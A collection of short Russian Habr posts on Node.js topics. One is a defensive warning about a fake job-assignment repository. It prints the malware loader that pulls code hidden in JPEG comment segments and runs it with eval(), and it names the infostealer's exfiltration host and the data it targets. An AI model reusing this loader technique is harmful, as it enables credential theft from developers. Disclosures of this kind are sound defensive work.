Node.JS *

TXORDER-01: 7 тестов прошли, 8-й нашёл баг

Как domain state в одном тесте сделал видимым баг в порядке операций внутри транзакции — и что это говорит о том, что на самом деле проверяют “зелёные тесты”

7 тестов прошли.

8-й нашёл баг в production flow.

Не потому что был написан лучше. Потому что запустился с другим начальным состоянием системы.

Операция и транзакция

PATCH /reschedule — перенос appointment пациента на другой слот. Атомарная транзакция: освободить старый слот, занять новый, переместить запись. Плюс promoteFromWaitlist: если на освобождённом слоте есть очередь, первый из неё автоматически получает appointment.

Порядок операций в транзакции:

1. free_old_slot(slot1)

2. promoteFromWaitlist(slot1)

3. book_new_slot(slot2)

4. move_appointment(appointment → slot2)

Почему 7 тестов ничего не нашли

Тесты 1–7 проверяли стандартные сценарии: перенести pending, перенести confirmed, попытаться перенести на занятый слот. Ни в одном из них не было пациента в вейтлисте.promoteFromWaitlist в каждом тесте — no-op. Очередь пуста, функция вызывалась, ничего не делала, возвращала успех. Это важная деталь: функция не падала. Она просто не активировалась. Порядок операций вокруг неё не имел значения — потому что одна из операций ничего не делала.

7 зелёных тестов говорили: reschedule работает корректно. На самом деле они говорили: reschedule работает корректно когда вейтлист пуст.

Что нашёл 8-й тест

Пациент 2 встал в очередь на slot1. Пациент 1 запустил reschedule на slot2.

Ответ: 409 SLOT_IN_USE.

Слот был свободен. Пациент имел право переноса. Транзакция откатилась.

Механизм

1. free_old_slot(slot1) ← слот доступен

2. promoteFromWaitlist(slot1) ← пациент 2 получил pending на slot1

3. book_new_slot(slot2)

4. move_appointment → slot2 ← appointment пациента 1 ещё на slot1

После шага 2 на slot1 два active appointment одновременно: пациента 1 (ещё не переехал) и пациента 2 (только что из промоушна). UNIQUE constraint one_active_per_slot. Откат. 409.

Транзакция дисциплинированно выполняла логически неверную последовательность — и откатывалась на constraint.

Фикс

Appointment должен покинуть slot1 до того как promote вставляет нового пациента:

1. book_new_slot(slot2)

2. move_appointment → slot2

3. free_old_slot(slot1)

4. promoteFromWaitlist(slot1)

8-й тест прошёл

Что означают 7 зелёных тестов

Тест проверяет поведение системы при конкретном начальном состоянии. Если в наборе тестов нет нужного domain state — класс ошибок невидим, сколько бы тестов ни прошло.

В данном случае критическое условие — пациент в вейтлисте — отсутствовало во всех семи тестах. promoteFromWaitlist` был no-op в каждом из них. Баг в порядке операций существовал с момента написания — просто не было состояния которое его активировало.

Атомарность транзакции гарантирует: либо все операции выполнятся, либо ни одна. Она не гарантирует что операции написаны в правильном порядке. Это разные гарантии — и мы путали их семь тестов подряд.

Скрытое предположение “Я решилf что если транзакция атомарна — порядок операций внутри неё можно не тестировать. На самом деле транзакция защищает от частичных обновлений, но не от логически неверного порядка внутри.”

Код проекта: GitHub

Из серии “Тихие отказы в тест-автоматизации” Разборы таких кейсов — в Telegram-канале Тесты как система

archkit v0.1 — генератор TypeScript-библиотек с Clean Architecture: от спека до npm за один день

Неделю назад опубликовал на npm первый пакет, @autosergach/archkit. Одна команда:

npx @autosergach/archkit create my-lib

И получаешь TypeScript-библиотеку с Clean Architecture из коробки: domain, application, ports, рабочий use case и пять зелёных тестов. Не «hello world», а каркас который показывает как слои должны выглядеть. Ниже как это устроено и четыре грабли по дороге к npm publish.

Что внутри

my-lib/
├── src/
│   ├── domain/      # User, DomainError
│   ├── application/ # createUser use case
│   ├── ports/       # UserRepository interface
│   └── index.ts
├── tests/           # InMemoryUserRepository + 5 тестов
└── package.json     # ESM, strict TS, vitest 3, eslint 9

pnpm install && pnpm test, пять зелёных с первого запуска. Стек намеренно современный: ESM only, Node 20+, TypeScript 5.7+, vitest 3.2, eslint 9 flat config.

Архитектура изнутри

Забавно, что archkit изнутри устроен точно так же, как проект который генерирует: порты и адаптеры до мозга костей. Монорепо: приватный archkit-core (весь движок) и @autosergach/archkit (то что на npm). tsup бандлит core через noExternal, потребитель ставит один пакет.

FileSystemPort с двумя адаптерами: InMemoryFileSystemAdapter для тестов и NodeFileSystemAdapter для продакшена. Pipeline в три шага: buildInitPlan, renderTemplate, executePlan. С --dry-run третий шаг не выполняется.

Тесты: 35 + 3

35 unit-тестов гоняют весь движок через in-memory, без диска, меньше секунды на весь suite. 3 e2e-теста запускают настоящий pnpm install && pnpm test в os.tmpdir(). Именно они дают уверенность что сгенерированный проект работает у пользователя, и поймали несколько багов в шаблоне до публикации.

Один день с Claude Code

Весь v0.1.1, от пустой папки до npm publish, написал за одну сессию, примерно шесть часов. 9 атомарных коммитов: Claude Code писал код, я проверял и коммитил. До Claude Code такой объём занял бы неделю, и тесты я бы срезал.

4 урока из npm publish

1. cac и --no-X флаги. При --skip-install cac выставляет skipInstall: true по умолчанию, неявно. Фикс: проверять === true, а не !== undefined. Потерял час пока разобрался.

2. npm проверяет similarity, а не только занятость. archkit свободное имя, но npm отклонил из-за заброшенного arch-kit (2022, 12 загрузок). Ушёл в scoped namespace @autosergach/archkit, зато все следующие пакеты там же.

3. workspace:* в dependencies. Приватного archkit-core нет в registry. Если он в dependencies, npm падает при install у потребителя. Перенести в devDependencies, tsup бандлит его в dist.

4. Granular npm tokens и 2FA. Granular-токен с правами publish не проходит без «Bypass 2FA for publish». Опция выключена по умолчанию, нигде не выделена жирным. Получил 403.

Что дальше

v0.2: NestJS плюс React fullstack шаблон и --ai-ready флаг, который автогенерирует CLAUDE.md, .claude/settings.json, agents.md. Пишите в Issues если есть что сказать.

npm: https://www.npmjs.com/package/@autosergach/archkit
GitHub: https://github.com/autosergach/archkit

npx @autosergach/archkit create my-lib
cd my-lib && pnpm install && pnpm test
# → 5 passing

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

• server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

• server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

• Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

• Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

• Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

• Завершить все сессии: https://github.com/settings/sessions

• Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

Я не разработчик, но сделал Telegram-бота для Hysteria 2

Я не программист, языков не знаю, я небольшой руководитель отдела в айти, неплохо знаю серверную архитектуру. Но у меня была простая боль: недавно завел для себя и родни сервер Hysteria 2, до этого было с VLESS на сервере и устал каждый раз руками править YAML, когда нужно:

добавить или удалить пользователя, выдать доступ, проверить статус, перезапустить сервис и при этом ничего не сломать

Перерыл интернет и какое было мое удивление, когда я не нашел ничего, абсолютно, то есть единственное решение - либо лазить каждый раз на сервер либо сделать самому.

Сразу честно: делал с помощью LLM. Статью эту тоже, кстати. Панаму я приготовил. Цель статьи не выпендреж, а просто рассказать о боте, что бы его уже нормальные разработчики посмотрели переделали, может на основе его сделали адекватный продукт

Почему не SSH?

Да, можно через SSH, nano и systemctl. Но когда делаешь это регулярно — растёт шанс ошибки.

Хотелось проще: открыть Telegram, нажать пару кнопок и выдать доступ без ручного редактирования config.yaml.

Веб-панель тоже рассматривал, но бот оказался быстрее и удобнее “на ходу”.

Что умел MVP

Минимум, который был нужен:

/status — жив ли сервис /users — список пользователей add / delete / enable / disable генерация hy2:// ссылки /logs — последние логи /restart — перезапуск с подтверждением

Звучит просто. Пока не думаешь о безопасности.

Главная проблема: бот ≠ root

Первая (и плохая) идея — дать боту полный доступ: пусть сам правит YAML, дергает systemctl и читает логи.

Это почти готовый root-доступ извне.

Я сделал иначе:

Бот — это интерфейс, не исполнитель.

Бот хранит данные (SQLite) Все опасные действия делает отдельный helper на сервере Helper: генерирует YAML делает backup валидирует только потом применяет и перезапускает

В sudoers разрешены только конкретные команды helper-а, а не shell.

Безопасность (без этого смысла нет)

Сделал максимально жёстко:

deny by default доступ только по Telegram user ID (не username) админ-команды только в личке в группах — никаких опасных действий delete/apply/restart — через подтверждение audit log: кто, когда и что сделал

Бот должен быть параноидальным, а не “удобным для всех”.

Грабли, на которые я наступил

1. Права на конфиг permission denied на /etc/hysteria/config.yaml — лечится не перезапуском, а нормальными правами.

2. Cert/key Один неправильный путь — сервис не стартует. Плюс легко сломать доступ к privkey.pem.

3. URI и userpass

hy2:// и hysteria2:// формат username:password спецсимволы нужно кодировать

Очень легко получить “почти рабочую” ссылку.

4. Клиенты На iOS импорт URI иногда работает хуже, чем ручной ввод.

5. OpenWrt + sing-box Сначала “не работает”, потом “работает, но не так”, и только после настройки DNS и роутинга — всё нормально.

Что получилось

Сейчас это нормальный админ-пульт:

управляю доступами из Telegram не трогаю YAML руками опасные действия подтверждаются и главное — нет полного root-доступа у бота

Удобство появилось без видимых дыры в безопасности.

Про LLM

Да, я использовал нейронку. Но это не “магическая кнопка”.

Без продуманной архитектуры (права, границы, apply, валидация, rollback) получилась бы просто опасная игрушка.

Что бы сделал иначе сразу делал бы helper-архитектуру добавил бы audit log с самого начала разделил бы read и write операции по правам сделал бы preflight-проверки перед apply

Что дальше

Планирую:

улучшить UX, возможно добавить лёгкую веб-панель, оставить Telegram, как быстрый пульт

Уверен, что в коде кучу дыр в безопасности, еще раз говорю, я код не знаю, мои были идеи, промты и направление, как сделать лучше на самом сервере.

P.S. Это моя первая статья, готов ко всем минусам, хейту и так далее. Единственная цель этого поста - рассказать о боте и дать его в народ

ссылка не репу https://github.com/Ramisya4ka/hysteria-bot-manager (внутри есть очень подробное Readme)

🚀 Snuffer: Как я превратил Android-смартфоны в распределенную сеть мониторинга (и спас свои нервы)

Меня зовут Виталий, я из команды ArcaneGaming.
Сегодня я хочу рассказать вам о своем пет-проекте, который немного вышел из-под контроля и превратился в полноценный продукт.
Встречайте - Snuffer !

😫 С чего всё началось?
Знаете это чувство, когда вам пишет клиент (или, что еще хуже, мама):

"А почему сайт не открывается?"
И ты такой:
"Да ладно, у меня всё работает!"
А потом оказывается, что сервер упал 3 часа назад, база данных ушла в дедлок, а ты в это время спокойно пил кофе и смотрел мемы.

Я перепробовал кучу сервисов: UptimeRobot, Pingdom, Better Uptime. Они крутые, спору нет.
Но:

• Дорого , если нужно много проверок.

• Ограниченные локации . Иногда нужно проверить доступность именно из конкретной сети или региона.

• Скучно . Где веселье в том, чтобы просто заплатить денег?

И тут я посмотрел на ящик своего стола. Там лежали они... Герои прошлых лет. Samsung Galaxy S7, какой-то старый Xiaomi с треснутым экраном и Pixel первого поколения. Они смотрели на меня своими пыльными камерами и шептали: "Мы еще можем быть полезны..."

И меня осенило! 💡

А что, если использовать эти устройства как узлы мониторинга? 
Ведь смартфон - это мощный компьютер с Wi-Fi и GSM модулем. Он может пинговать, делать HTTP-запросы, проверять порты. И если раздать такие телефоны друзьям в разных городах (или просто подключить к разным провайдерам), получится настоящая распределенная сеть мониторинга .
Так родился Snuffer

📱 Что такое Snuffer?
Если говорить умными словами, это распределенная система мониторинга доступности сервисов с использованием мобильных агентов .

"Давай короче, что это такое?":

1. Вы регистрируетесь в админке .

2. Скачиваете Android-приложение .

3. Сканируете QR-код.

4. БУМ! Ваш телефон превращается в "Снуффера" (нюхача), который постоянно проверяет, живы ли ваши сайты.

🛠 Что он умеет?

• HTTP / Keyword Monitor : Проверяет, отдает ли сайт 200 OK и есть ли на странице нужное слово (например, "Success"). Если нет - бьет тревогу.

• Ping / Port Monitor : Пингует серверы и проверяет открытые порты (полезно для баз данных или кастомных сервисов).

• DNS Monitor : Следит, чтобы ваши домены резолвились куда надо (а не на фишинговые заглушки).

• Vulnerability Scanner : В админке есть встроенный сканер уязвимостей! (Но я пока его еще не сделал, но обязательно доделаю, честно!)

• Telegram Бот : Уведомления прилетают мгновенно. Потому что почту мы читаем редко, а телегу - каждые 5 минут.

🤓 Немного "под капотом"
Я люблю, когда всё работает быстро и четко. Поэтому стек выбрал проверенный и надежный:

• Backend : Node.js + Express (старая добрая классика).

• Database : PostgreSQL + Prisma (потому что писать SQL руками в 2025 — это моветон, хотя я умею!).

• Frontend : React + Tailwind CSS (чтобы было красиво и адаптивно).

• Mobile : React Native / Expo (одна кодовая база, минимум боли).

Самое интересное - это архитектура .
Сервер раздает "задачи" (tasks) подключенным устройствам через WebSocket. Устройства выполняют проверки и шлют отчеты обратно.

Если устройство говорит "Сайт лежит", сервер не верит ему на слово (вдруг у телефона просто Wi-Fi отвалился?). Он ждет подтверждения от других узлов или от самого сервера. Это минимизирует ложные срабатывания.

🌍 Почему это круто?

1. Вторая жизнь вещам . Ваши старые гаджеты не загрязняют природу, а приносят пользу. Экологично! 🌱

2. Полный контроль . Вы сами выбираете, откуда мониторить. Хотите проверить доступность из офиса конкурента? Просто подбросьте им телефон с Snuffer (шутка... или нет?).

3. Бесплатно (почти). Вы платите только за электричество для зарядки телефона.

Проект живет и развивается. Сейчас я выкатил версию v4.15.11 (да, мы часто обновляемся!).
В планах:

• iOS версия (Apple, пустите в AppStore, ну пожалуйста!).

• Больше типов проверок (например, скриншоты сайтов).

• Публичное API.
  

  Если вам интересно попробовать или просто потыкать палочкой — залетайте:
  👉 snuffer.net

Буду рад любому фидбеку, критике или просто комментариям.

Как я передаю структуру проекта при работе с AI-агентами

Если вы работаете с AI-агентами для написания или ревью кода, то знаете эту боль: агент не знает ваш проект. Каждый новый чат — с нуля. Агент начинает читать, читать, читать... И часто читает то что вообще не нужно. Чтобы он хоть что-то понял, нужно дать контекст.

Агент видит список файлов, но не понимает, что в них без прочтения всего файла.
Это не всегда требуется - для мелких задач часто нужно работать с несколькими файлами и в целов читать нужно срез проекта а не проверять все

Я написал небольшую CLI-утилиту для саммаризации файлов в проекте через LLM.

Запускаешь sumr в корне проекта — и получаешь дерево файлов, где у каждого файла есть однострочное описание от LLM:

src/
├── cli.ts          Entry point, Commander.js commands and orchestration
├── scanner.ts      Recursive file walker with regex include/exclude filters
├── summarizer.ts   OpenAI-compatible API pool with concurrency control
└── renderer.ts     Terminal tree output with chalk coloring

Добавляешь агенту инструкцию начинать задачи с этой команды.

Внутри утилита рекурсивно обходит директорию, фильтрует файлы по настраиваемым regex-паттернам, потом отправляет каждый файл в LLM с просьбой дать однострочное описание. Запросы идут параллельно, результаты кэшируются в комментарии в файле — при повторном запуске уже обработанные файлы пропускаются.

Инструмент совместим с любым OpenAI-совместимым API. Можно подключить LM Studio или Ollama - справляются мелкие вроде новых Qwen 3.5 0.5b, 1.5b, 3b.

Ещё начал делать режим паттернов без LLM — извлечение комментариев и сигнатур по regex. Пока не уверен, нужно ли это кому-то.

Первый запуск:

npm i summariser -g
sumr config init

Далее в папке проекта:

sumr

Если добавили новые файлы sumr обработает их а кэш не тронет

Для очистки кэша:

sumr clear

Для обновления кэша:

sumr rescan

Я добавил такую инструкцию в CLAUDE.MD и он буквально сразу начинает с тех файлов которые нужны.

* Всегда начинай ЛЮБУЮ задачу с команды 'sumr' для получения общей структуры проекта и понимания, где что находится.

Хотя вопрос экономии конечно открытый - тут по разному бывает экономит прям нормально не читая весь проект ради вычленения 1-го модуля, а бывает работает на уровне обычного regex-поиска. Но результат лично мной ощущается!

Для саммари использую новый qwen 3.5 0.8b - мелкая моделька в lm studio

Если этот подход будет интересен и имеет смысл - могу поразвивать утилиту или принять любого кому интересно развить. Возможно что то можно доработать чтобы это было удобнее

Много времени на это не тратил любую обратную связь приму по возможности )

Репозиторий: https://github.com/BuddaArt/Summariser

лайкните пост кто сейчас вайбкодит свои продукты и напиши в комментах что делаете. очень интересно!

А как?

Как?

Реально, как? Скажите мне. Почему это происходит так..

Райан Даль, создатель Node.js, одной из ключевых технологий современного веба: времена, когда код писали люди, всё.

Даль сформулировал свою позицию в посте в X: «Это говорили уже тысячу раз, но я тоже вставлю слово: времена, когда код писали люди, закончилась. Это тревожно для тех из нас, кто называет себя инженерами ПО, но от этого не менее верно. Это не значит, что у инженеров больше не будет работы, но про написание синтаксиса напрямую она больше не будет».

Философия IT-собеседований: взгляд разработчика и DevOps-инженера

Привет, Хабр! Мой пост носит дискуссионный характер. В веб-разработке, администрировании и DevOps я уже 17 лет. Долгое время работал «на себя», оказывая помощь клиентам, с которыми выстроены надёжные взаимоотношения, но текущие реалии рынка подтолкнули к поиску работы по ТК, об этом я и хочу поговорить.

Обо мне: 40 лет, из которых 17 лет в коммерческой разработке. Прошел долгий путь как в fullstack-разработке (web), так и в создании embedded-решений (каршеринг), администрировании и DevOps.

Раньше мой процесс найма редко выходил за рамки одного интервью. Сейчас же я регулярно сталкиваюсь с многоступенчатыми отказами, иногда даже на этапе HR-скрининга. Этот контраст заставил меня задуматься: что делает найм эффективным, а что превращает его в фарс? Решил систематизировать свои наблюдения и поделиться тем, что в современных собеседованиях кажется здравым, а что — откровенно лишним.

Описываю позитивные практики, с которыми сталкивался, практики за которые я уважаю потенциальных работодателей и команды. Это парадигма, в которой я вёл деятельность с начала карьеры.

1. Диалог на равных.
   Мое лучшее интервью: техлид не мучил теорией, а предложил обсудить реальную дилемму, которую он решает в данный момент (внедрение NoSQL-хранилища ради одного специфичного сервиса, т.е. доп. точка отказа vs производительность). Без таймера и стресса мы искали решение. Итог — оффер и годы отличной работы.

2. Проверка логики, а не памяти.
   Люблю кейсы в духе: «Вот дано А, почему происходит Б?». Из банального: может ли Вася из другого города достучаться до вашего локального IP? Это показывает понимание базы лучше любого теста.

3. Ценность универсальных знаний.
   Универсальные знания долгое время позволяли быстро находить решение практически любой проблемы от хардверной, до нарушения самых элементарных паттернов проектирования в коде и эффективно их устранять. Мне нравятся задачи, где проблема может быть скрыта на любом уровне и нравятся клиенты, понимающие, как я могу снять их головную боль обеспечив работоспособность ПО в любой среде и условиях.

А теперь я хочу описать то, от чего меня бомбит. Это факторы которые будут отпугивать меня вплоть до момента, когда будет нечего кушать и я буду вынужден прогнуться под выгодное предложение.

1. Лайвкодинг.
   В 40 лет написание кода для меня — процесс интимный... хотя я практикую парное программирование в реальной команде и это мне нравится, но в предвкушении собеседований иногда хочется "психануть" и на предложение выбрать время для лайвокдинга сказать — "предлагаю парное программирование с одним из ваших специалистов, ведь для меня тоже важно, с кем я буду вести разработку". (Не пробовал так отвечать, но попробую, как только выдастся случай).

2. Вакансии-обманки.
   Зачем заманивать стеком DevOps (Linux, Nginx, Ansible, Terraform, Puppet, Docker, Kubernetes, MySQL, PostgreSQL, Elasticsearch, Logstash, Kibana, Zabbix), если по факту сообщаете, что ничего этого не будет, а ищите классического сисадмина 9-18? — Давайте адкеватный запрос, а не тратьте время.

3. Терминологическая каша. Сложно отвечать экспертно, когда интервьюер путает CI и OCI или Redis и Rabbit. Если нет погружения в контекст, конструктивного диалога не выйдет. Готовиться к собеседованию должен не только соискатель, но и тот, кто нанимает.

4. Отсутствие пунктуальности.
   Для меня было шоком, что фаундер может просто не явиться на собседование, или рекретер забывает о диалоге и назначенной встрече. У вас там всё нормально?) Хотя рекрутер мало чем отличается от агента недвижимости, но фаундер забывающий про собеседование для меня персонаж странный.

5. Узкая специализация.
   Раньше, как мне кажется, ценилась универсальность, способность разработчика понимать инфраструктуру, а инженера/админа — код. Сегодня индустрия уходит в жесткую сегментацию, видимо, для более точного просчёта рисков. А я считаю, что именно универсальность — это страховка проекта от того, что решение будет принято в вакууме одного стека, без учета общей картины.

Как войти в нужную дверь: API-ключ и как с ним работать

API-ключ — это уникальный набор символов, который подтверждает, что запрос к API отправлен авторизованным приложением. Он помогает управлять доступом, считать обращения и защищать данные.

Чтобы использовать API-ключ, нужно:

1. Получить его в личном кабинете сервиса.

2. Добавить в запрос — обычно в заголовке Authorization.

3. Следить за безопасностью: не хранить ключ в коде и регулярно менять.

Пример запроса в Node.js:

const axios = require('axios');

const API_KEY = process.env.MY_API_KEY;

axios.get('https://api.example.com/data', {

  headers: { 'Authorization': Api-Key ${API_KEY} }

})

.then(r => console.log(r.data))

.catch(e => console.error('Ошибка', e.response?.status));

В базе знаний Рег.облака поделились подробной инструкцией: как создать, подключить и защитить API-ключ. Заходите, сохраняйте и используйте :) 

Поиск скомпрометированных зависимостей через Dependency Track

На днях стало известно о компрометации почти 2-х десятков npm-пакетов (подробнее в этой статье). Зловредный код может похищать криптовалюту. Это не первый раз, когда в зависимости попадает зловред (например, в 2022 году зловред удалял данные).

Один из вариантов поиска наличия скомпрометированных пакетов среди сотен проектов - использование Dependency Track. При этом поиск возможен и в транзитивных зависимостях тоже. На картинке ниже показан процесс. Заходим в раздел "Components", вводим название в формате "pkg:npm/$name$". Далее остаётся отсортировать по версии и найти среди них скомпрометированную (сейчас это легко - нужно смотреть самую старшую версию). Можно поиск производить сразу по конкретной версии. Пример:

pkg:npm/simple-swizzle@0.2.3

Если пакет нашёлся - можно не только узнать в каком именно проекте, но и увидеть где именно в дереве зависимостей проекта используется (нажать на иконку, обведённую красным).

Если знаете альтернативные варианты поиска скомпрометированных пакетов другими средствами - напишите в комментариях.

Вы знаете этих людей. Вроде умные, вроде опытные. Говорят правильные слова про 'стратегию', 'масштабируемость', 'долгосрочную перспективу'.
Но почему-то через полгода таких разговоров оказывается, что:

баг, который 'уже почти пофиксили' никуда из прода не девался
фича, которую 'вот-вот запустим' — всё ещё в черновиках
команда уже тихо ненавидит слово 'архитектура'

А техлид? Техлид как будто ничего не замечает.
Как это работает (точнее, не работает)
Слова вместо кода

вместо пулл-реквестов - диаграммы.
демо нет - зато вот вам слайды.
вместо решений 'опять' 'давайте обсудим' (читай: 'я не хочу отвечать').

Бесконечный 'анализ'

'Надо подумать над архитектурой' = 'Я не уверен, но боюсь признаться'
'Это нетривиальная задача' = 'Мне лень разбираться'

Ответственность - это не про нас
Любимый приём - щедро размазать вину:

'Это комплексная проблема' (на самом деле: 'виноваты все, а значит — никто').

Реальный кейс (чтобы было не абстрактно)

В одном проекте (Node.js, если важно) техлид 2 месяца 'прорабатывал подход' к рефакторингу.
Провёл 8 митингов, написал 50 страниц документации.

А потом... уволился.

Оставив после себя:
красивые схемы в Confluence
ни одной строчки кода
команду, которая теперь на рефакторинг смотреть не может

Как понять, что ваш техлид центральная часть системы самообмана?

главный результат его работы - не код, а презентации
коронный вопрос - 'А как мы это будем масштабировать?' (но не сам масштабирует)
после разговора с ним хочется или закодить, или закопать

Что прикажете с этим делать?

тупо запретить 'стратегировать' без кода*
нет пулл-реквеста - нет права говорить про архитектуру.

ввести 'день испанского стыда'
раз в месяц техлид показывает руками, что сделал. Не слайды - код.

Задавать всего один вопрос

'Что конкретно изменится после твоего решения?'
Если ответ начинается со слов 'теоретически....' - это тревога.

Вывод
Хороший техлид — не тот, кто красиво говорит о проблемах.
А тот, кто их решает.

Если ваш 'архитектор' только генерирует документы, но не генерирует код - возможно, он уже ИИ.

P.S. Если после этого текста кто-то узнал своего техлида - это не совпадение

Расширенные алерты в Amvera Cloud

Сегодня мы выпускаем функционал расширенных алертов.

Теперь каждый наш пользователь сможет получать уведомления в специальный бот, если:

1. Проект ушел в ошибку.

2. Произошло превышение ОЗУ или ЦПУ выше заданного порога

3. Сработала Liveness или Readiness проба.

4. Произошла ошибка сборки или запуска проекта.

5. Встретилась заданная фраза в логе.

Amvera Cloud — это облако для простого деплоя приложений через git push. Встроенный CI/CD, бэкапы и мониторинг позволяют развернуть проект тремя командами в IDE и не думать о настойке инфраструктуры. Amvera проще, чем использование VPS или Kubernetes-кластера.

RabbitMQ и Memcached в Amvera Cloud

C 14 января 2025 в Amvera Cloud доступны RabbitMQ и Memcached.

Для создания достаточно выбрать необходимый сервис в разделе «Преднастроенные сервисы» и заполнить название и несколько переменных.

В ближайшее время планируется релиз отдельного сервиса управления очередями.

Amvera Cloud — это облако для простого деплоя приложений через git push. Встроенный CI/CD, бэкапы и мониторинг позволяют развернуть проект тремя командами в IDE и не думать о настойке инфраструктуры. Amvera проще, чем использование VPS или Kubernetes-кластера.

Обновления января 2025 года в Amvera Cloud

Многие ждали, писали, но нет, мы цены повышать не будем!)

Зато сразу после 1 января праздников, ориентировочно 13—17 января

1. Выкатим новый фронт. Надеемся, все станет понятнее.

2. Появятся преднастроенные RabbitMQ и Memcached.

3. Расширенные алерты и пробы. Можно будет настроить алерты на падение проекта, превышение заданного потребления ОЗУ и CPU и появления определенных ошибок в логах. Дополнительно появятся liveness и readiness пробы.

4. Мы вводим SLA. Осенью 2024 были инциденты с падением сервисов. Мы готовы нести ответственность за безотказность работы сервиса. Начиная с января 2025, если наша надежность окажется ниже 99,5% в месяц, можно будет претендовать на компенсации с нашей стороны.

SLA действует с 1 января 2025

Amvera Cloud — это облако для простого деплоя приложений через git push. Встроенный CI/CD, бэкапы и мониторинг позволяют развернуть проект тремя командами в IDE и не думать о настойке инфраструктуры. Amvera проще, чем использование VPS или Kubernetes-кластера.

Запускаем бесплатную программу обучения по Node js в Web3

Привет всем! Мы в MetaLamp давно занимаемся обучение разработчиков, у нас есть свои программы обучения по фронтенду и бэкенду, а недавно мы запустили обучения по смарт-контрактам Solidity и фронтенду в web3.

Теперь мы решили расширить список наших курсов и создали программу обучения по Node.js в связке с web3.

Почему все говорят про Node.js

Node.js уже давно стал одним из главных инструментов для разработки серверной части. Его используют, чтобы строить быстрые и масштабируемые веб-приложения и не только. К примеру, Netflix, LinkedIn и Uber сделали Node.js значимой частью своей инфраструктуры. Так что эта платформа не просто тренд, а эффективный инструмент.

Кроме того, JavaScript (js), на котором базируется Node.js, занимает лидирующие позиции среди языков программирования. И это легко объяснить. Он универсален, используется как на фронтенде, так и на бэкенде, и у него огромное сообщество. Node.js уверенно стоит на первом месте среди серверных технологий. Освоивший ноду, во-первых, станет специалистом по серверным технологиям. Во-вторых, сможет легко изучить фронтенд и перейти в лигу fullstack.

И еще одна приятная деталь: зарплаты в этой сфере радуют. По данным Хабр Карьера, джуниоры на Node получают около 85 тысяч рублей, мидлы — 220 тысяч, а сеньоры могут зарабатывать до 330 тысяч рублей в месяц.

Читайте подробнее о программе в нашей новой статье!

В нашем телеграм-канале мы часто обсуждаем новые инструменты для разработчиков, делаем обзоры продуктов и все вместе обсуждаем новости. В комментариях под постами  — у нас отдельный холивар. Присоединяйтесь!

Копаем вглубь Dependency Injection (NestJS): запись внутреннего митапа

В Сравни мы используем NestJS, широко применимый фреймворк для Node.js-разработки, который из коробки умеет в Dependency Injection.

Ранее на внутреннем митапе разобрали основы внедрения зависимостей (ссылка ниже) — теперь же рассмотрели динамическое создание и удаление модулей.

В частности:

• Правила: что от чего не должно зависеть

• Какие ставить для себя ограничения

• Как хранить сервисы на нужных уровнях/слоях

• Как избежать циклической зависимости

• forRoot/forChild

• Возможно ли сделать hot module replacement в работающем сервисе

Посмотреть запись митапа можно здесь:

✅YouTube

✅RUTUBE

✅VK

Запись нашего первого митапа по DI доступна в этом плейлисте.

В кодовую базу Node.js принято изменение, добавляющее возможность выполнения файлов с кодом на TypeScript.

Поддержка TypeScript включается при помощи опции "--experimental-strip-types" и сводится к очистке специфичных для данного языка определений типов, то есть преобразованию перед выполнением исходного кода в JavaScript.

Не связанные с описанием типов возможности TypeScript пространства имён, декораторы, свойства параметров и перечисляемые типы (enum) пока не поддерживаются. Протестировать новую опцию можно в ночных сборках Node.js 23.

Для трансляции задействован компилятор SWC (Speedy Web Compiler), написанный на языке Rust. Чтобы не добавлять дополнительные зависимости к Node.js, задействовано представление компилятора swc/wasm-typescript в промежуточном коде WebAssembly и уже применяемое для тех же целей в платформе Deno.

Это изменение добавлено в ответ на просьбы пользователей реализовать возможность запуска кода на TypeScript без установки внешних загрузчиков и дополнительных зависимостей. В проектах Deno и Bun поддержка TypeScript реализована изначально.

